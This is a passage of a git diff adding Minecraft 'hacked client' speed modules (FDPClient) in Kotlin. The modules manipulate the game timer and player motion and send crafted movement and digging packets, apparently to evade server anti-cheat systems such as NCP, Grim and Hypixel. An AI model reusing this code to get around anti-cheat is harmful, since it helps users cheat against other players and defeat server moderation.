(mc.thePlayer.isOnLadder || mc.thePlayer.isInWater || mc.thePlayer.isInLava || mc.thePlayer.isInWeb || !MovementUtils.isMoving()) return + + if (mc.thePlayer.onGround) mc.thePlayer.jump() else mc.thePlayer.motionY = -1.0 + + MovementUtils.strafe() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/YPortSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/YPortSpeed.kt new file mode 100644 index 0000000..f60a35f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/ncp/YPortSpeed.kt @@ -0,0 +1,156 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/UnlegitMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.ncp + +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.block.Block +import net.minecraft.block.BlockAir +import net.minecraft.block.material.Material +import net.minecraft.potion.Potion +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos +import net.minecraft.util.MathHelper +import java.math.BigDecimal +import java.math.RoundingMode +import kotlin.math.cos +import kotlin.math.sin +import kotlin.math.sqrt + +class YPortSpeed : SpeedMode("YPort") { + private var moveSpeed = 0.2873 + private var level = 1 + private var lastDist = 0.0 + private var timerDelay = 0 + private var safeJump = false + + override fun onPreMotion() { + if (!safeJump && !mc.gameSettings.keyBindJump.isKeyDown && !mc.thePlayer.isOnLadder && !mc.thePlayer.isInsideOfMaterial(Material.water) && + !mc.thePlayer.isInsideOfMaterial(Material.lava) && !mc.thePlayer.isInWater && (this.getBlock(-1.1) !is BlockAir && + this.getBlock(-1.1) !is BlockAir || this.getBlock(-0.1) !is BlockAir && mc.thePlayer.motionX != 0.0 && + mc.thePlayer.motionZ != 0.0 && !mc.thePlayer.onGround && mc.thePlayer.fallDistance < 3.0f && mc.thePlayer.fallDistance > 0.05) && level == 3) { + mc.thePlayer.motionY = -0.3994 + } + + val xDist = mc.thePlayer.posX - mc.thePlayer.prevPosX + val zDist = mc.thePlayer.posZ - mc.thePlayer.prevPosZ + lastDist = sqrt(xDist * xDist + zDist * zDist) + + if (!MovementUtils.isMoving()) safeJump = true else if (mc.thePlayer.onGround) safeJump = false + } + + override fun onMove(event: MoveEvent) { + timerDelay += 1 + timerDelay %= 5 + if (timerDelay != 0) { + mc.timer.timerSpeed = 1f + } else { + if (MovementUtils.hasMotion()) mc.timer.timerSpeed = 32767f + if (MovementUtils.hasMotion()) { + mc.timer.timerSpeed = 1.3f + mc.thePlayer.motionX *= 1.0199999809265137 + mc.thePlayer.motionZ *= 1.0199999809265137 + } + } + + if (mc.thePlayer.onGround && MovementUtils.hasMotion()) level = 2 + + if (round(mc.thePlayer.posY - mc.thePlayer.posY.toInt()) == round(0.138)) { + mc.thePlayer.motionY -= 0.08 + event.y = event.y - 0.09316090325960147 + mc.thePlayer.posY -= 0.09316090325960147 + } + + when { + (level == 1 && (mc.thePlayer.moveForward != 0.0f || mc.thePlayer.moveStrafing != 0.0f)) -> { + level = 2 + moveSpeed = 1.38 * baseMoveSpeed - 0.01 + } + + level == 2 -> { + level = 3 + mc.thePlayer.motionY = 0.399399995803833 + event.y = 0.399399995803833 + moveSpeed *= 2.149 + } + + level == 3 -> { + level = 4 + val difference = 0.66 * (lastDist - baseMoveSpeed) + moveSpeed = lastDist - difference + } + + else -> { + if (mc.theWorld.getCollidingBoundingBoxes( + mc.thePlayer, + mc.thePlayer.entityBoundingBox.offset(0.0, mc.thePlayer.motionY, 0.0) + ).size > 0 || mc.thePlayer.isCollidedVertically + ) level = 1 + moveSpeed = lastDist - lastDist / 159.0 + } + } + + moveSpeed = moveSpeed.coerceAtLeast(baseMoveSpeed) + var forward = mc.thePlayer.movementInput.moveForward + var strafe = mc.thePlayer.movementInput.moveStrafe + var yaw = mc.thePlayer.rotationYaw + + if (forward == 0f && strafe == 0f) { + event.x = 0.0 + event.z = 0.0 + } else if (forward != 0f) { + if (strafe >= 1f) { + yaw += (if (forward > 0f) -45 else 45).toFloat() + strafe = 0f + } else if (strafe <= -1.0f) { + yaw += (if (forward > 0f) 45 else -45).toFloat() + strafe = 0f + } + if (forward > 0f) forward = 1f else if (forward < 0f) forward = -1f + } + + val mx = cos(Math.toRadians((yaw + 90.0f).toDouble())) + val mz = sin(Math.toRadians((yaw + 90.0f).toDouble())) + event.x = forward * moveSpeed * mx + strafe * moveSpeed * mz + event.z = forward * moveSpeed * mz - strafe * moveSpeed * mx + mc.thePlayer.stepHeight = 0.6f + if (forward == 0f && strafe == 0f) { + event.x = 0.0 + event.z = 0.0 + } + } + + private val baseMoveSpeed: Double + get() { + var baseSpeed = 0.2873 + if (mc.thePlayer.isPotionActive(Potion.moveSpeed)) { + val amplifier = mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).amplifier + baseSpeed *= 1.0 + 0.2 * (amplifier + 1) + } + return baseSpeed + } + + private fun getBlock(axisAlignedBB: AxisAlignedBB): Block? { + for (x in MathHelper.floor_double(axisAlignedBB.minX) until MathHelper.floor_double(axisAlignedBB.maxX) + 1) { + for (z in MathHelper.floor_double(axisAlignedBB.minZ) until MathHelper.floor_double(axisAlignedBB.maxZ) + 1) { + val block = mc.theWorld.getBlockState(BlockPos(x, axisAlignedBB.minY.toInt(), z)).block + if (block != null) return block + } + } + return null + } + + private fun getBlock(offset: Double): Block? { + return this.getBlock(mc.thePlayer.entityBoundingBox.offset(0.0, offset, 0.0)) + } + + private fun round(value: Double): Double { + var bd = BigDecimal(value) + bd = bd.setScale(3, RoundingMode.HALF_UP) + return bd.toDouble() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/CustomSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/CustomSpeed.kt new file mode 100644 index 0000000..46930a6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/CustomSpeed.kt @@ -0,0 +1,269 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.client.settings.GameSettings + +@Suppress("UnclearPrecedenceOfBinaryExpression") +class CustomSpeed : SpeedMode("Custom") { + private val speedValue = FloatValue("CustomSpeed", 1.6f, 0f, 2f) + private val doLaunchSpeedValue = BoolValue("CustomDoLaunchSpeed", true) + private val launchSpeedValue = FloatValue("CustomLaunchSpeed", 1.6f, 0.2f, 2f).displayable { doLaunchSpeedValue.get() } + private val strafeBeforeJump = BoolValue("CustomLaunchMoveBeforeJump", false) + private val doMinimumSpeedValue = BoolValue("CustomDoMinimumSpeed", true) + private val minimumSpeedValue = FloatValue("CustomMinimumSpeed", 0.25f, 0.1f, 2f).displayable { doMinimumSpeedValue.get() } + private val addYMotionValue = FloatValue("CustomAddYMotion", 0f, 0f, 2f) + private val doCustomYValue = BoolValue("CustomDoModifyJumpY", true) + private val yValue = FloatValue("CustomY", 0.42f, 0f, 4f).displayable { doCustomYValue.get() } + private val upTimerValue = FloatValue("CustomUpTimer", 1f, 0.1f, 2f) + private val jumpTimerValue = FloatValue("CustomJumpTimer", 1.25f, 0.1f, 2f) + private val downTimerValue = FloatValue("CustomDownTimer", 1f, 0.1f, 2f) + private val upAirSpeedValue = FloatValue("CustomUpAirSpeed", 2.03f, 0.5f, 3.5f) + private val downAirSpeedValue = FloatValue("CustomDownAirSpeed", 2.01f, 0.5f, 3.5f) + private val strafeValue = ListValue("CustomStrafe", arrayOf("Strafe", "Boost", "AirSpeed", "Plus", "PlusOnlyUp", "PlusOnlyDown", "Non-Strafe"), "Boost") + private val plusMode = ListValue("PlusBoostMode", arrayOf("Add", "Multiply"), "Add").displayable { strafeValue.equals("Plus") || strafeValue.equals("PlusOnlyUp") || strafeValue.equals("PlusOnlyDown") } + private val plusMultiply = FloatValue("PlusMultiplyAmount", 1.1f, 1f, 2f).displayable { plusMode.equals("Multiply") && (strafeValue.equals("Plus") || strafeValue.equals("PlusOnlyUp") || strafeValue.equals("PlusOnlyDown")) } + private val groundStay = IntegerValue("CustomGroundStay", 0, 0, 10) + private val groundResetXZValue = BoolValue("CustomGroundResetXZ", false) + private val resetXZValue = BoolValue("CustomResetXZ", false) + private val resetYValue = BoolValue("CustomResetY", false) + private val doJump = BoolValue("CustomDoJump",true) + private val GroundSpaceKeyPressed = BoolValue("CustomPressSpaceKeyOnGround", true) + private val AirSpaceKepPressed = BoolValue("CustomPressSpaceKeyInAir", false) + private val usePreMotion = BoolValue("CustomUsePreMotion", true) + + + + private var groundTick = 0 + + + override fun onPreMotion() { + if (!usePreMotion.get()) return + if (MovementUtils.isMoving()) { + mc.timer.timerSpeed = if (mc.thePlayer.motionY> 0) { upTimerValue.get() } else { downTimerValue.get() } + + when { + mc.thePlayer.onGround -> { + if (groundTick >= groundStay.get()) { + if (GroundSpaceKeyPressed.get()) { + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + } + mc.timer.timerSpeed = jumpTimerValue.get() + if (doLaunchSpeedValue.get() && strafeBeforeJump.get()) { + MovementUtils.strafe(launchSpeedValue.get()) + } + if (doJump.get()) { + mc.thePlayer.jump() + } else { + if (!doCustomYValue.get()) { + mc.thePlayer.motionY = 0.42 + } + } + if (doLaunchSpeedValue.get() && !strafeBeforeJump.get()) { + MovementUtils.strafe(launchSpeedValue.get()) + } + if (doCustomYValue.get()) { + if (yValue.get() != 0f) { + mc.thePlayer.motionY = yValue.get().toDouble() + } + } + } else if (groundResetXZValue.get()) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + groundTick++ + } + + else -> { + groundTick = 0 + if (AirSpaceKepPressed.get()) { + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + } + if (doMinimumSpeedValue.get() && MovementUtils.getSpeed() < minimumSpeedValue.get()) { + MovementUtils.strafe(minimumSpeedValue.get()) + } + when (strafeValue.get().lowercase()) { + "strafe" -> MovementUtils.strafe(speedValue.get()) + "non-strafe" -> MovementUtils.strafe() + "boost" -> MovementUtils.strafe() + "airspeed" -> { + if (mc.thePlayer.motionY > 0) { + mc.thePlayer.speedInAir = 0.01f * upAirSpeedValue.get() + MovementUtils.strafe() + } else { + mc.thePlayer.speedInAir = 0.01f * downAirSpeedValue.get() + MovementUtils.strafe() + } + } + "plus" -> { + when (plusMode.get().lowercase()) { + "plus" -> MovementUtils.move(speedValue.get() * 0.1f) + "multiply" -> { + mc.thePlayer.motionX *= plusMultiply.get() + mc.thePlayer.motionZ *= plusMultiply.get() + } + } + } + "plusonlyup" -> { + if (mc.thePlayer.motionY > 0) { + when (plusMode.get().lowercase()) { + "plus" -> MovementUtils.move(speedValue.get() * 0.1f) + "multiply" -> { + mc.thePlayer.motionX *= plusMultiply.get() + mc.thePlayer.motionZ *= plusMultiply.get() + } + } + } else { + MovementUtils.strafe() + } + } + "plusonlydown" -> { + if (mc.thePlayer.motionY < 0) { + when (plusMode.get().lowercase()) { + "plus" -> MovementUtils.move(speedValue.get() * 0.1f) + "multiply" -> { + mc.thePlayer.motionX *= plusMultiply.get() + mc.thePlayer.motionZ *= plusMultiply.get() + } + } + } else { + MovementUtils.strafe() + } + } + } + mc.thePlayer.motionY += addYMotionValue.get() * 0.03 + } + } + } else if (resetXZValue.get()) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } + + override fun onUpdate() { + if (usePreMotion.get()) return + if (MovementUtils.isMoving()) { + mc.timer.timerSpeed = if (mc.thePlayer.motionY> 0) { upTimerValue.get() } else { downTimerValue.get() } + + when { + mc.thePlayer.onGround -> { + if (groundTick >= groundStay.get()) { + if (GroundSpaceKeyPressed.get()) { + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + } + mc.timer.timerSpeed = jumpTimerValue.get() + if (doLaunchSpeedValue.get() && strafeBeforeJump.get()) { + MovementUtils.strafe(launchSpeedValue.get()) + } + if (doJump.get()) { + mc.thePlayer.jump() + } else { + if (!doCustomYValue.get()) { + mc.thePlayer.motionY = 0.42 + } + } + if (doLaunchSpeedValue.get() && !strafeBeforeJump.get()) { + MovementUtils.strafe(launchSpeedValue.get()) + } + if (doCustomYValue.get()) { + if (yValue.get() != 0f) { + mc.thePlayer.motionY = yValue.get().toDouble() + } + } + } else if (groundResetXZValue.get()) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + groundTick++ + } + + else -> { + groundTick = 0 + if (AirSpaceKepPressed.get()) { + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + } + if (doMinimumSpeedValue.get() && MovementUtils.getSpeed() < minimumSpeedValue.get()) { + MovementUtils.strafe(minimumSpeedValue.get()) + } + when (strafeValue.get().lowercase()) { + "strafe" -> MovementUtils.strafe(speedValue.get()) + "non-strafe" -> MovementUtils.strafe() + "boost" -> MovementUtils.strafe() + "airspeed" -> { + if (mc.thePlayer.motionY > 0) { + mc.thePlayer.speedInAir = 0.01f * upAirSpeedValue.get() + MovementUtils.strafe() + } else { + mc.thePlayer.speedInAir = 0.01f * downAirSpeedValue.get() + MovementUtils.strafe() + } + } + "plus" -> { + when (plusMode.get().lowercase()) { + "plus" -> MovementUtils.move(speedValue.get() * 0.1f) + "multiply" -> { + mc.thePlayer.motionX *= plusMultiply.get() + mc.thePlayer.motionZ *= plusMultiply.get() + } + } + } + "plusonlyup" -> { + if (mc.thePlayer.motionY > 0) { + when (plusMode.get().lowercase()) { + "plus" -> MovementUtils.move(speedValue.get() * 0.1f) + "multiply" -> { + mc.thePlayer.motionX *= plusMultiply.get() + mc.thePlayer.motionZ *= plusMultiply.get() + } + } + } else { + MovementUtils.strafe() + } + } + "plusonlydown" -> { + if (mc.thePlayer.motionY < 0) { + when (plusMode.get().lowercase()) { + "plus" -> MovementUtils.move(speedValue.get() * 0.1f) + "multiply" -> { + mc.thePlayer.motionX *= plusMultiply.get() + mc.thePlayer.motionZ *= plusMultiply.get() + } + } + } else { + MovementUtils.strafe() + } + } + } + mc.thePlayer.motionY += addYMotionValue.get() * 0.03 + } + } + } else if (resetXZValue.get()) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } + + + + override fun onEnable() { + if (resetXZValue.get()) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + if (resetYValue.get()) mc.thePlayer.motionY = 0.0 + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + mc.thePlayer!!.speedInAir = 0.02f + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/GrimCombat.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/GrimCombat.kt new file mode 100644 index 0000000..5ae22a2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/GrimCombat.kt @@ -0,0 +1,35 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.MovementUtils.getSpeed +import net.ccbluex.liquidbounce.utils.MovementUtils.strafe +import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox +import net.minecraft.entity.EntityLivingBase + +class GrimCombat : SpeedMode("GrimCombat") { + private val onlyAir = BoolValue("OnlyAir", false) + private val okstrafe = BoolValue("Strafe", false) + private val speedUp = BoolValue("SpeedUp", false) + private val speed2 = IntegerValue("Speed", 0, 0, 15) + val distance = FloatValue("Range", 0f, 0f, 2f) + override fun onUpdate() { + for (entity in mc.theWorld.loadedEntityList) { + if (entity is EntityLivingBase && entity.entityId != mc.thePlayer.entityId && mc.thePlayer.getDistanceToEntityBox( + entity + ) <= distance.get() && ( !onlyAir.get() || !mc.thePlayer.onGround) + ) { + if(speedUp.get()) { + mc.thePlayer.motionX *= (1 + (speed2.get() * 0.01)) + mc.thePlayer.motionZ *= (1 + (speed2.get() * 0.01)) + } + if(okstrafe.get()){ + strafe(getSpeed()) + } + return + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/GroundPacketSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/GroundPacketSpeed.kt new file mode 100644 index 0000000..7f03121 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/GroundPacketSpeed.kt @@ -0,0 +1,38 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import kotlin.math.cos +import kotlin.math.sin + +class GroundPacketSpeed : SpeedMode("GroundPacket") { + + private val moveSpeed = FloatValue("${valuePrefix}Speed", 0.6f, 0.27f, 5f) + private val baseSpeed = FloatValue("${valuePrefix}DistPerPacket", 0.15f, 0.12f, 0.2873f) + + override fun onUpdate() { + if (!mc.thePlayer.onGround) return + val s = moveSpeed.get().toDouble() + var d = baseSpeed.get().toDouble() + val yaw = Math.toRadians(MovementUtils.movingYaw.toDouble()) + var mx = -sin(yaw) * baseSpeed.get().toDouble() + var mz = cos(yaw) * baseSpeed.get().toDouble() + while (d <= s) { + if (d > s) { + mx = -sin(yaw) * (d - s) + mz = cos(yaw) * (d - s) + d = s + } + mc.thePlayer.setPosition(mc.thePlayer.posX + mx, mc.thePlayer.posY, mc.thePlayer.posZ + mz) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX + mx, mc.thePlayer.posY, mc.thePlayer.posZ + mz, mc.thePlayer.onGround)) + d += baseSpeed.get().toDouble() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/GroundStrafeHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/GroundStrafeHopSpeed.kt new file mode 100644 index 0000000..1edc3ad --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/GroundStrafeHopSpeed.kt @@ -0,0 +1,18 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class GroundStrafeHopSpeed : SpeedMode("GroundStrafeHop") { + override fun onPreMotion() { + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + MovementUtils.strafe() + } + } else { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HiveHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HiveHopSpeed.kt new file mode 100644 index 0000000..3eef0e6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HiveHopSpeed.kt @@ -0,0 +1,35 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + +class HiveHopSpeed : SpeedMode("HiveHop") { + override fun onEnable() { + mc.thePlayer.speedInAir = 0.0425f + mc.timer.timerSpeed = 1.04f + } + + override fun onDisable() { + mc.thePlayer.speedInAir = 0.02f + mc.timer.timerSpeed = 1f + } + + override fun onUpdate() { + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) mc.thePlayer.motionY = 0.3 + mc.thePlayer.speedInAir = 0.0425f + mc.timer.timerSpeed = 1.04f + MovementUtils.strafe() + } else { + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.motionX = mc.thePlayer.motionZ + mc.thePlayer.speedInAir = 0.02f + mc.timer.timerSpeed = 1f + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HypixelBhopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HypixelBhopSpeed.kt new file mode 100644 index 0000000..d4089b9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HypixelBhopSpeed.kt @@ -0,0 +1,83 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.entity.Entity +import kotlin.math.cos +import kotlin.math.sin +import kotlin.math.sqrt + +class HypixelBhop : SpeedMode("HypixelBhop") { + + private val bspeed = FloatValue("${valuePrefix}Speed", 1F, 0.5F, 8F) + var hopping: Boolean = false + override fun onUpdate() { + if ((mc.thePlayer.isInWater || mc.thePlayer.isInLava || mc.thePlayer.isSneaking)) { + return + } + if (mc.thePlayer.fallDistance <= 0 && MovementUtils.isMoving() && mc.currentScreen == null) { + if (!mc.thePlayer.onGround) { + return + } + mc.thePlayer.jump() + mc.thePlayer.isSprinting = true + var horizontalSpeed: Double = getHorizontalSpeed() + val additionalSpeed: Double = 0.4847 * ((bspeed.get() - 1.0) / 3.0 + 1.0) + if (horizontalSpeed < additionalSpeed) { + horizontalSpeed = additionalSpeed + } + setSpeed(horizontalSpeed) + hopping = true + } + } + + override fun onDisable() { + hopping = false + } + + fun getHorizontalSpeed(): Double { + return getHorizontalSpeed(mc.thePlayer) + } + + fun getHorizontalSpeed(entity: Entity): Double { + return sqrt(entity.motionX * entity.motionX + entity.motionZ * entity.motionZ) + } + + fun ae(n: Float, n2: Float, n3: Float): Float { + var n = n + var n4 = 1.0f + if (n2 < 0.0f) { + n += 180.0f + n4 = -0.5f + } else if (n2 > 0.0f) { + n4 = 0.5f + } + if (n3 > 0.0f) { + n -= 90.0f * n4 + } else if (n3 < 0.0f) { + n += 90.0f * n4 + } + return n * 0.017453292f + } + + fun n(): Float { + return ae( + mc.thePlayer.rotationYaw, + mc.thePlayer.movementInput.moveForward, + mc.thePlayer.movementInput.moveStrafe + ) + } + + fun setSpeed(n: Double) { + if (n == 0.0) { + mc.thePlayer.motionZ = 0.0 + mc.thePlayer.motionX = 0.0 + return + } + val n3: Float = n() + mc.thePlayer.motionX = -sin(n3.toDouble()) * n + mc.thePlayer.motionZ = cos(n3.toDouble()) * n + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HypixelHopSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HypixelHopSpeed.kt new file mode 100644 index 0000000..cfdcd11 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HypixelHopSpeed.kt @@ -0,0 +1,115 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.features.value.* +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.potion.Potion +import net.minecraft.network.play.client.C07PacketPlayerDigging +import net.minecraft.network.play.server.S12PacketEntityVelocity +import kotlin.math.sqrt +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing + + +class HypixelHopSpeed : SpeedMode("HypixelHop") { + + private val bypassMode = ListValue("${valuePrefix}BypassMode", arrayOf("Latest", "Legit", "GroundStrafe"), "Latest") + private val customSpeedBoost = FloatValue("${valuePrefix}SpeedPotJumpModifier", 0.1f, 0f, 0.4f) + private val yMotion = FloatValue("${valuePrefix}JumpYMotion", 0.42f, 0.395f, 0.42f) + private val damageBoost = BoolValue("${valuePrefix}DamageBoost", true) + private val sussyPacket = BoolValue("${valuePrefix}Rise6sussyPacket", true) + + + private var minSpeed = 0.0 + + private var wasOnGround = false + private var offGroundTicks = 0 + private var groundTick = 0 + + override fun onUpdate() { + if (!MovementUtils.isMoving()) { + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = 0.0 + } + + if (mc.thePlayer.onGround) { + offGroundTicks = 0 + } else { + offGroundTicks += 1 + } + + + + when (bypassMode.get().lowercase()) { + + "latest" -> { + if (sussyPacket.get()) + PacketUtils.sendPacketNoEvent(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.STOP_DESTROY_BLOCK, BlockPos(-1,-1,-1), EnumFacing.UP)) + + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + + val minSpeed = 0.42f + 0.04f * (mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).amplifier + 1).toFloat() + MovementUtils.strafe(MovementUtils.getSpeed() * (1.0 + 0.065 * (mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).amplifier + 1)).toFloat()) + if (MovementUtils.getSpeed() < minSpeed) { + MovementUtils.strafe(minSpeed) + } + MovementUtils.strafe(MovementUtils.getSpeed() * 0.99f) + + + } else { + + if (mc.thePlayer.isPotionActive(Potion.moveSpeed)) { + mc.thePlayer.motionX *= (1.0003 + 0.0008 * (mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).amplifier + 1)) + mc.thePlayer.motionZ *= (1.0003 + 0.0008 * (mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).amplifier + 1)) + } + + mc.thePlayer.speedInAir = 0.02f + 0.0005f * (mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).amplifier + 1).toFloat() + + } + } + + "legit" -> { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + } + } + "groundstrafe" -> { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + MovementUtils.strafe(MovementUtils.getSpeed()) + } + } + } + } + + + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is S12PacketEntityVelocity) { + if (mc.thePlayer == null || (mc.theWorld?.getEntityByID(packet.entityID) ?: return) != mc.thePlayer) { + return + } + if (!FDPClient.combatManager.inCombat) { + return + } + + if (packet.motionY / 8000.0 > 0.1) { + if (damageBoost.get()) { + mc.thePlayer.motionX *= 1.05 + mc.thePlayer.motionZ *= 1.05 + } + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HypixelNewHop.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HypixelNewHop.kt new file mode 100644 index 0000000..0f554e4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/HypixelNewHop.kt @@ -0,0 +1,23 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.utils.MovementUtils + + +class HypixelNewHop : SpeedMode("NewHypixelHop") { + + @EventTarget + override fun onUpdate() { + val player = mc.thePlayer + if (player.onGround && MovementUtils.isMoving()) { + if (player.isUsingItem) { + player.jump() + } else { + player.jump() + MovementUtils.strafe(0.4f) + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/LegitSpeed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/LegitSpeed.kt new file mode 100644 index 0000000..0cc0d5e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/speeds/other/LegitSpeed.kt @@ -0,0 +1,23 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement.speeds.other + +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import 